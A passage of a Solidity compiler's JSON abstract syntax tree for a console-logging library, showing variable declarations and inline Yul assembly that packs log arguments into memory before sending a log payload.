260"}],"id":41215,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"227276:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"227276:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41219,"nodeType":"ExpressionStatement","src":"227276:28:22"},{"AST":{"nativeSrc":"227323:273:22","nodeType":"YulBlock","src":"227323:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"227344:4:22","nodeType":"YulLiteral","src":"227344:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"227350:2:22","nodeType":"YulIdentifier","src":"227350:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227337:6:22","nodeType":"YulIdentifier","src":"227337:6:22"},"nativeSrc":"227337:16:22","nodeType":"YulFunctionCall","src":"227337:16:22"},"nativeSrc":"227337:16:22","nodeType":"YulExpressionStatement","src":"227337:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227373:4:22","nodeType":"YulLiteral","src":"227373:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"227379:2:22","nodeType":"YulIdentifier","src":"227379:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227366:6:22","nodeType":"YulIdentifier","src":"227366:6:22"},"nativeSrc":"227366:16:22","nodeType":"YulFunctionCall","src":"227366:16:22"},"nativeSrc":"227366:16:22","nodeType":"YulExpressionStatement","src":"227366:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227402:4:22","nodeType":"YulLiteral","src":"227402:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"227408:2:22","nodeType":"YulIdentifier","src":"227408:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227395:6:22","nodeType":"YulIdentifier","src":"227395:6:22"},"nativeSrc":"227395:16:22","nodeType":"YulFunctionCall","src":"227395:16:22"},"nativeSrc":"227395:16:22","nodeType":"YulExpressionStatement","src":"227395:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227431:4:22","nodeType":"YulLiteral","src":"227431:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"227437:2:22","nodeType":"YulIdentifier","src":"227437:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227424:6:22","nodeType":"YulIdentifier","src":"227424:6:22"},"nativeSrc":"227424:16:22","nodeType":"YulFunctionCall","src":"227424:16:22"},"nativeSrc":"227424:16:22","nodeType":"YulExpressionStatement","src":"227424:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227460:4:22","nodeType":"YulLiteral","src":"227460:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"227466:2:22","nodeType":"YulIdentifier","src":"227466:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227453:6:22","nodeType":"YulIdentifier","src":"227453:6:22"},"nativeSrc":"227453:16:22","nodeType":"YulFunctionCall","src":"227453:16:22"},"nativeSrc":"227453:16:22","nodeType":"YulExpressionStatement","src":"227453:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227489:4:22","nodeType":"YulLiteral","src":"227489:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"227495:2:22","nodeType":"YulIdentifier","src":"227495:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227482:6:22","nodeType":"YulIdentifier","src":"227482:6:22"},"nativeSrc":"227482:16:22","nodeType":"YulFunctionCall","src":"227482:16:22"},"nativeSrc":"227482:16:22","nodeType":"YulExpressionStatement","src":"227482:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227518:4:22","nodeType":"YulLiteral","src":"227518:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"227524:2:22","nodeType":"YulIdentifier","src":"227524:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227511:6:22","nodeType":"YulIdentifier","src":"227511:6:22"},"nativeSrc":"227511:16:22","nodeType":"YulFunctionCall","src":"227511:16:22"},"nativeSrc":"227511:16:22","nodeType":"YulExpressionStatement","src":"227511:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227547:4:22","nodeType":"YulLiteral","src":"227547:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"227553:2:22","nodeType":"YulIdentifier","src":"227553:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227540:6:22","nodeType":"YulIdentifier","src":"227540:6:22"},"nativeSrc":"227540:16:22","nodeType":"YulFunctionCall","src":"227540:16:22"},"nativeSrc":"227540:16:22","nodeType":"YulExpressionStatement","src":"227540:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"227576:5:22","nodeType":"YulLiteral","src":"227576:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"227583:2:22","nodeType":"YulIdentifier","src":"227583:2:22"}],"functionName":{"name":"mstore","nativeSrc":"227569:6:22","nodeType":"YulIdentifier","src":"227569:6:22"},"nativeSrc":"227569:17:22","nodeType":"YulFunctionCall","src":"227569:17:22"},"nativeSrc":"227569:17:22","nodeType":"YulExpressionStatement","src":"227569:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41188,"isOffset":false,"isSlot":false,"src":"227350:2:22","valueSize":1},{"declaration":41191,"isOffset":false,"isSlot":false,"src":"227379:2:22","valueSize":1},{"declaration":41194,"isOffset":false,"isSlot":false,"src":"227408:2:22","valueSize":1},{"declaration":41197,"isOffset":false,"isSlot":false,"src":"227437:2:22","valueSize":1},{"declaration":41200,"isOffset":false,"isSlot":false,"src":"227466:2:22","valueSize":1},{"declaration":41203,"isOffset":false,"isSlot":false,"src":"227495:2:22","valueSize":1},{"declaration":41206,"isOffset":false,"isSlot":false,"src":"227524:2:22","valueSize":1},{"declaration":41209,"isOffset":false,"isSlot":false,"src":"227553:2:22","valueSize":1},{"declaration":41212,"isOffset":false,"isSlot":false,"src":"227583:2:22","valueSize":1}],"id":41220,"nodeType":"InlineAssembly","src":"227314:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"226081:3:22","parameters":{"id":41185,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41178,"mutability":"mutable","name":"p0","nameLocation":"226090:2:22","nodeType":"VariableDeclaration","scope":41222,"src":"226085:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41177,"name":"bool","nodeType":"ElementaryTypeName","src":"226085:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41180,"mutability":"mutable","name":"p1","nameLocation":"226102:2:22","nodeType":"VariableDeclaration","scope":41222,"src":"226094:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226094:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41182,"mutability":"mutable","name":"p2","nameLocation":"226114:2:22","nodeType":"VariableDeclaration","scope":41222,"src":"226106:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41181,"name":"bytes32","nodeType":"ElementaryTypeName","src":"226106:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41184,"mutability":"mutable","name":"p3","nameLocation":"226126:2:22","nodeType":"VariableDeclaration","scope":41222,"src":"226118:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41183,"name":"uint256","nodeType":"ElementaryTypeName","src":"226118:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"226084:45:22"},"returnParameters":{"id":41186,"nodeType":"ParameterList","parameters":[],"src":"226144:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41274,"nodeType":"FunctionDefinition","src":"227608:1732:22","nodes":[],"body":{"id":41273,"nodeType":"Block","src":"227680:1660:22","nodes":[],"statements":[{"assignments":[41234],"declarations":[{"constant":false,"id":41234,"mutability":"mutable","name":"m0","nameLocation":"227698:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41233,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41235,"nodeType":"VariableDeclarationStatement","src":"227690:10:22"},{"assignments":[41237],"declarations":[{"constant":false,"id":41237,"mutability":"mutable","name":"m1","nameLocation":"227718:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41236,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227710:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41238,"nodeType":"VariableDeclarationStatement","src":"227710:10:22"},{"assignments":[41240],"declarations":[{"constant":false,"id":41240,"mutability":"mutable","name":"m2","nameLocation":"227738:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227730:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41239,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227730:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41241,"nodeType":"VariableDeclarationStatement","src":"227730:10:22"},{"assignments":[41243],"declarations":[{"constant":false,"id":41243,"mutability":"mutable","name":"m3","nameLocation":"227758:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227750:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41242,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227750:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41244,"nodeType":"VariableDeclarationStatement","src":"227750:10:22"},{"assignments":[41246],"declarations":[{"constant":false,"id":41246,"mutability":"mutable","name":"m4","nameLocation":"227778:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227770:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41245,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227770:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41247,"nodeType":"VariableDeclarationStatement","src":"227770:10:22"},{"assignments":[41249],"declarations":[{"constant":false,"id":41249,"mutability":"mutable","name":"m5","nameLocation":"227798:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227790:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41248,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227790:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41250,"nodeType":"VariableDeclarationStatement","src":"227790:10:22"},{"assignments":[41252],"declarations":[{"constant":false,"id":41252,"mutability":"mutable","name":"m6","nameLocation":"227818:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227810:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41251,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227810:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41253,"nodeType":"VariableDeclarationStatement","src":"227810:10:22"},{"assignments":[41255],"declarations":[{"constant":false,"id":41255,"mutability":"mutable","name":"m7","nameLocation":"227838:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227830:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41254,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227830:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41256,"nodeType":"VariableDeclarationStatement","src":"227830:10:22"},{"assignments":[41258],"declarations":[{"constant":false,"id":41258,"mutability":"mutable","name":"m8","nameLocation":"227858:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227850:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41257,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227850:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41259,"nodeType":"VariableDeclarationStatement","src":"227850:10:22"},{"assignments":[41261],"declarations":[{"constant":false,"id":41261,"mutability":"mutable","name":"m9","nameLocation":"227878:2:22","nodeType":"VariableDeclaration","scope":41273,"src":"227870:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41260,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227870:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41262,"nodeType":"VariableDeclarationStatement","src":"227870:10:22"},{"assignments":[41264],"declarations":[{"constant":false,"id":41264,"mutability":"mutable","name":"m10","nameLocation":"227898:3:22","nodeType":"VariableDeclaration","scope":41273,"src":"227890:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41263,"name":"bytes32","nodeType":"ElementaryTypeName","src":"227890:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41265,"nodeType":"VariableDeclarationStatement","src":"227890:11:22"},{"AST":{"nativeSrc":"227920:1024:22","nodeType":"YulBlock","src":"227920:1024:22","statements":[{"body":{"nativeSrc":"227963:313:22","nodeType":"YulBlock","src":"227963:313:22","statements":[{"nativeSrc":"227981:15:22","nodeType":"YulVariableDeclaration","src":"227981:15:22","value":{"kind":"number","nativeSrc":"227995:1:22","nodeType":"YulLiteral","src":"227995:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"227985:6:22","nodeType":"YulTypedName","src":"227985:6:22","type":""}]},{"body":{"nativeSrc":"228066:40:22","nodeType":"YulBlock","src":"228066:40:22","statements":[{"body":{"nativeSrc":"228095:9:22","nodeType":"YulBlock","src":"228095:9:22","statements":[{"nativeSrc":"228097:5:22","nodeType":"YulBreak","src":"228097:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"228083:6:22","nodeType":"YulIdentifier","src":"228083:6:22"},{"name":"w","nativeSrc":"228091:1:22","nodeType":"YulIdentifier","src":"228091:1:22"}],"functionName":{"name":"byte","nativeSrc":"228078:4:22","nodeType":"YulIdentifier","src":"228078:4:22"},"nativeSrc":"228078:15:22","nodeType":"YulFunctionCall","src":"228078:15:22"}],"functionName":{"name":"iszero","nativeSrc":"228071:6:22","nodeType":"YulIdentifier","src":"228071:6:22"},"nativeSrc":"228071:23:22","nodeType":"YulFunctionCall","src":"228071:23:22"},"nativeSrc":"228068:36:22","nodeType":"YulIf","src":"228068:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"228023:6:22","nodeType":"YulIdentifier","src":"228023:6:22"},{"kind":"number","nativeSrc":"228031:4:22","nodeType":"YulLiteral","src":"228031:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"228020:2:22","nodeType":"YulIdentifier","src":"228020:2:22"},"nativeSrc":"228020:16:22","nodeType":"YulFunctionCall","src":"228020:16:22"},"nativeSrc":"228013:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"228037:28:22","nodeType":"YulBlock","src":"228037:28:22","statements":[{"nativeSrc":"228039:24:22","nodeType":"YulAssignment","src":"228039:24:22","value":{"arguments":[{"name":"length","nativeSrc":"228053:6:22","nodeType":"YulIdentifier","src":"228053:6:22"},{"kind":"number","nativeSrc":"228061:1:22","nodeType":"YulLiteral","src":"228061:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"228049:3:22","nodeType":"YulIdentifier","src":"228049:3:22"},"nativeSrc":"228049:14:22","nodeType":"YulFunctionCall","src":"228049:14:22"},"variableNames":[{"name":"length","nativeSrc":"228039:6:22","nodeType":"YulIdentifier","src":"228039:6:22"}]}]},"pre":{"nativeSrc":"228017:2:22","nodeType":"YulBlock","src":"228017:2:22","statements":[]},"src":"228013:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"228130:3:22","nodeType":"YulIdentifier","src":"228130:3:22"},{"name":"length","nativeSrc":"228135:6:22","nodeType":"YulIdentifier","src":"228135:6:22"}],"functionName":{"name":"mstore","nativeSrc":"228123:6:22","nodeType":"YulIdentifier","src":"228123:6:22"},"nativeSrc":"228123:19:22","nodeType":"YulFunctionCall","src":"228123:19:22"},"nativeSrc":"228123:19:22","nodeType":"YulExpressionStatement","src":"228123:19:22"},{"nativeSrc":"228159:37:22","nodeType":"YulVariableDeclaration","src":"228159:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"228176:3:22","nodeType":"YulLiteral","src":"228176:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"228185:1:22","nodeType":"YulLiteral","src":"228185:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"228188:6:22","nodeType":"YulIdentifier","src":"228188:6:22"}],"functionName":{"name":"shl","nativeSrc":"228181:3:22","nodeType":"YulIdentifier","src":"228181:3:22"},"nativeSrc":"228181:14:22","nodeType":"YulFunctionCall","src":"228181:14:22"}],"functionName":{"name":"sub","nativeSrc":"228172:3:22","nodeType":"YulIdentifier","src":"228172:3:22"},"nativeSrc":"228172:24:22","nodeType":"YulFunctionCall","src":"228172:24:22"},"variables":[{"name":"shift","nativeSrc":"228163:5:22","nodeType":"YulTypedName","src":"228163:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"228224:3:22","nodeType":"YulIdentifier","src":"228224:3:22"},{"kind":"number","nativeSrc":"228229:4:22","nodeType":"YulLiteral","src":"228229:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"228220:3:22","nodeType":"YulIdentifier","src":"228220:3:22"},"nativeSrc":"228220:14:22","nodeType":"YulFunctionCall","src":"228220:14:22"},{"arguments":[{"name":"shift","nativeSrc":"228240:5:22","nodeType":"YulIdentifier","src":"228240:5:22"},{"arguments":[{"name":"shift","nativeSrc":"228251:5:22","nodeType":"YulIdentifier","src":"228251:5:22"},{"name":"w","nativeSrc":"228258:1:22","nodeType":"YulIdentifier","src":"228258:1:22"}],"functionName":{"name":"shr","nativeSrc":"228247:3:22","nodeType":"YulIdentifier","src":"228247:3:22"},"nativeSrc":"228247:13:22","nodeType":"YulFunctionCall","src":"228247:13:22"}],"functionName":{"name":"shl","nativeSrc":"228236:3:22","nodeType":"YulIdentifier","src":"228236:3:22"},"nativeSrc":"228236:25:22","nodeType":"YulFunctionCall","src":"228236:25:22"}],"functionName":{"name":"mstore","nativeSrc":"228213:6:22","nodeType":"YulIdentifier","src":"228213:6:22"},"nativeSrc":"228213:49:22","nodeType":"YulFunctionCall","src":"228213:49:22"},"nativeSrc":"228213:49:22","nodeType":"YulExpressionStatement","src":"228213:49:22"}]},"name":"writeString","nativeSrc":"227934:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"227955:3:22","nodeType":"YulTypedName","src":"227955:3:22","type":""},{"name":"w","nativeSrc":"227960:1:22","nodeType":"YulTypedName","src":"227960:1:22","type":""}],"src":"227934:342:22"},{"nativeSrc":"228289:17:22","nodeType":"YulAssignment","src":"228289:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228301:4:22","nodeType":"YulLiteral","src":"228301:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"228295:5:22","nodeType":"YulIdentifier","src":"228295:5:22"},"nativeSrc":"228295:11:22","nodeType":"YulFunctionCall","src":"228295:11:22"},"variableNames":[{"name":"m0","nativeSrc":"228289:2:22","nodeType":"YulIdentifier","src":"228289:2:22"}]},{"nativeSrc":"228319:17:22","nodeType":"YulAssignment","src":"228319:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228331:4:22","nodeType":"YulLiteral","src":"228331:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"228325:5:22","nodeType":"YulIdentifier","src":"228325:5:22"},"nativeSrc":"228325:11:22","nodeType":"YulFunctionCall","src":"228325:11:22"},"variableNames":[{"name":"m1","nativeSrc":"228319:2:22","nodeType":"YulIdentifier","src":"228319:2:22"}]},{"nativeSrc":"228349:17:22","nodeType":"YulAssignment","src":"228349:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228361:4:22","nodeType":"YulLiteral","src":"228361:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"228355:5:22","nodeType":"YulIdentifier","src":"228355:5:22"},"nativeSrc":"228355:11:22","nodeType":"YulFunctionCall","src":"228355:11:22"},"variableNames":[{"name":"m2","nativeSrc":"228349:2:22","nodeType":"YulIdentifier","src":"228349:2:22"}]},{"nativeSrc":"228379:17:22","nodeType":"YulAssignment","src":"228379:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228391:4:22","nodeType":"YulLiteral","src":"228391:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"228385:5:22","nodeType":"YulIdentifier","src":"228385:5:22"},"nativeSrc":"228385:11:22","nodeType":"YulFunctionCall","src":"228385:11:22"},"variableNames":[{"name":"m3","nativeSrc":"228379:2:22","nodeType":"YulIdentifier","src":"228379:2:22"}]},{"nativeSrc":"228409:17:22","nodeType":"YulAssignment","src":"228409:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228421:4:22","nodeType":"YulLiteral","src":"228421:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"228415:5:22","nodeType":"YulIdentifier","src":"228415:5:22"},"nativeSrc":"228415:11:22","nodeType":"YulFunctionCall","src":"228415:11:22"},"variableNames":[{"name":"m4","nativeSrc":"228409:2:22","nodeType":"YulIdentifier","src":"228409:2:22"}]},{"nativeSrc":"228439:17:22","nodeType":"YulAssignment","src":"228439:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228451:4:22","nodeType":"YulLiteral","src":"228451:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"228445:5:22","nodeType":"YulIdentifier","src":"228445:5:22"},"nativeSrc":"228445:11:22","nodeType":"YulFunctionCall","src":"228445:11:22"},"variableNames":[{"name":"m5","nativeSrc":"228439:2:22","nodeType":"YulIdentifier","src":"228439:2:22"}]},{"nativeSrc":"228469:17:22","nodeType":"YulAssignment","src":"228469:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228481:4:22","nodeType":"YulLiteral","src":"228481:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"228475:5:22","nodeType":"YulIdentifier","src":"228475:5:22"},"nativeSrc":"228475:11:22","nodeType":"YulFunctionCall","src":"228475:11:22"},"variableNames":[{"name":"m6","nativeSrc":"228469:2:22","nodeType":"YulIdentifier","src":"228469:2:22"}]},{"nativeSrc":"228499:17:22","nodeType":"YulAssignment","src":"228499:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"228511:4:22","nodeType":"YulLiteral","src":"228511:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"228505:5:22","nodeType":"YulIdentifier","src":"228505:5:22"},"nativeSrc":"228505:11:22","nodeType":"YulFunctionCall","src":"228505:11:22"},"variableNames":[{"name":"m7","nativeSrc":"228499:2:22","nodeType":"YulIdentifier","src":"228499:2:22"}]},{"nativeSrc":"228529:18:22","nodeType":"YulAssignment","src":"228529:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"228541:5:22","nodeType":"YulLiteral","src":"228541:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"228535:5:22","nodeType":"YulIdentifier","src":"228535:5:22"},"nativeSrc":"228535:12:22","nodeType":"YulFunctionCall","src":"228535:12:22"},"variableNames":[{"name":"m8","nativeSrc":"228529:2:22","nodeType":"YulIdentifier","src":"228529:2:22"}]},{"nativeSrc":"228560:18:22","nodeType":"YulAssignment","src":"228560:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"228572:5:22","nodeType":"YulLiteral","src":"228572:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"228566:5:22","nodeType":"YulIdentifier","src":"228566:5:22"},"nativeSrc":"228566:12:22","nodeType":"YulFunctionCall","src":"228566:12:22"},"variableNames":[{"name":"m9","nativeSrc":"228560:2:22","nodeType":"YulIdentifier","src":"228560:2:22"}]},{"nativeSrc":"228591:19:22","nodeType":"YulAssignment","src":"228591:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"228604:5:22","nodeType":"YulLiteral","src":"228604:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"228598:5:22","nodeType":"YulIdentifier","src":"228598:5:22"},"nativeSrc":"228598:12:22","nodeType":"YulFunctionCall","src":"228598:12:22"},"variableNames":[{"name":"m10","nativeSrc":"228591:3:22","nodeType":"YulIdentifier","src":"228591:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"228691:4:22","nodeType":"YulLiteral","src":"228691:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"228697:10:22","nodeType":"YulLiteral","src":"228697:10:22","type":"","value":"0x1762e32a"}],"functionName":{"name":"mstore","nativeSrc":"228684:6:22","nodeType":"YulIdentifier","src":"228684:6:22"},"nativeSrc":"228684:24:22","nodeType":"YulFunctionCall","src":"228684:24:22"},"nativeSrc":"228684:24:22","nodeType":"YulExpressionStatement","src":"228684:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"228728:4:22","nodeType":"YulLiteral","src":"228728:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"228734:2:22","nodeType":"YulIdentifier","src":"228734:2:22"}],"functionName":{"name":"mstore","nativeSrc":"228721:6:22","nodeType":"YulIdentifier","src":"228721:6:22"},"nativeSrc":"228721:16:22","nodeType":"YulFunctionCall","src":"228721:16:22"},"nativeSrc":"228721:16:22","nodeType":"YulExpressionStatement","src":"228721:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"228757:4:22","nodeType":"YulLiteral","src":"228757:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"228763:4:22","nodeType":"YulLiteral","src":"228763:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"228750:6:22","nodeType":"YulIdentifier","src":"228750:6:22"},"nativeSrc":"228750:18:22","nodeType":"YulFunctionCall","src":"228750:18:22"},"nativeSrc":"228750:18:22","nodeType":"YulExpressionStatement","src":"228750:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"228788:4:22","nodeType":"YulLiteral","src":"228788:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"228794:4:22","nodeType":"YulLiteral","src":"228794:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"228781:6:22","nodeType":"YulIdentifier","src":"228781:6:22"},"nativeSrc":"228781:18:22","nodeType":"YulFunctionCall","src":"228781:18:22"},"nativeSrc":"228781:18:22","nodeType":"YulExpressionStatement","src":"228781:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"228819:4:22","nodeType":"YulLiteral","src":"228819:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"228825:5:22","nodeType":"YulLiteral","src":"228825:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"228812:6:22","nodeType":"YulIdentifier","src":"228812:6:22"},"nativeSrc":"228812:19:22","nodeType":"YulFunctionCall","src":"228812:19:22"},"nativeSrc":"228812:19:22","nodeType":"YulExpressionStatement","src":"228812:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"228856:4:22","nodeType":"YulLiteral","src":"228856:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"228862:2:22","nodeType":"YulIdentifier","src":"228862:2:22"}],"functionName":{"name":"writeString","nativeSrc":"228844:11:22","nodeType":"YulIdentifier","src":"228844:11:22"},"nativeSrc":"228844:21:22","nodeType":"YulFunctionCall","src":"228844:21:22"},"nativeSrc":"228844:21:22","nodeType":"YulExpressionStatement","src":"228844:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"228890:4:22","nodeType":"YulLiteral","src":"228890:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"228896:2:22","nodeType":"YulIdentifier","src":"228896:2:22"}],"functionName":{"name":"writeString","nativeSrc":"228878:11:22","nodeType":"YulIdentifier","src":"228878:11:22"},"nativeSrc":"228878:21:22","nodeType":"YulFunctionCall","src":"228878:21:22"},"nativeSrc":"228878:21:22","nodeType":"YulExpressionStatement","src":"228878:21:22"},{